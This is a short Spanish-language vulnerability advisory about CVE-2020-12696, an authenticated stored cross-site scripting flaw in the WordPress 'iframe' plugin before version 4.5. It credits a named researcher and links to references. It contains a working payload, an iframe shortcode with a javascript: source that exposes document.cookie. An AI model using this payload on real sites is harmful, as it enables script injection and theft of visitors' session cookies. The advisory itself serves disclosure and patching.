
Cross Site Scripting Almacenado - Plugin Iframe - WordPress
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Iframe < 4.5 - Cross Site Scripting (XSS) Almacenado Autenticado
El plugin iframe anterior a la versión 4.5 no sanea una URL.
Payload: </b>[iframe src="javascript:confirm(document.cookie)" width="100%" height="500"]
Versión [plugin]: </b>4.4
Probado en: </b>WordPress 5.2.4
Investigador:</b> Guilherme Rubert
Referencias:
https://guilhermerubert.com/blog/cve-2020-12696/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12696
https://wordpress.org/plugins/iframe/#developers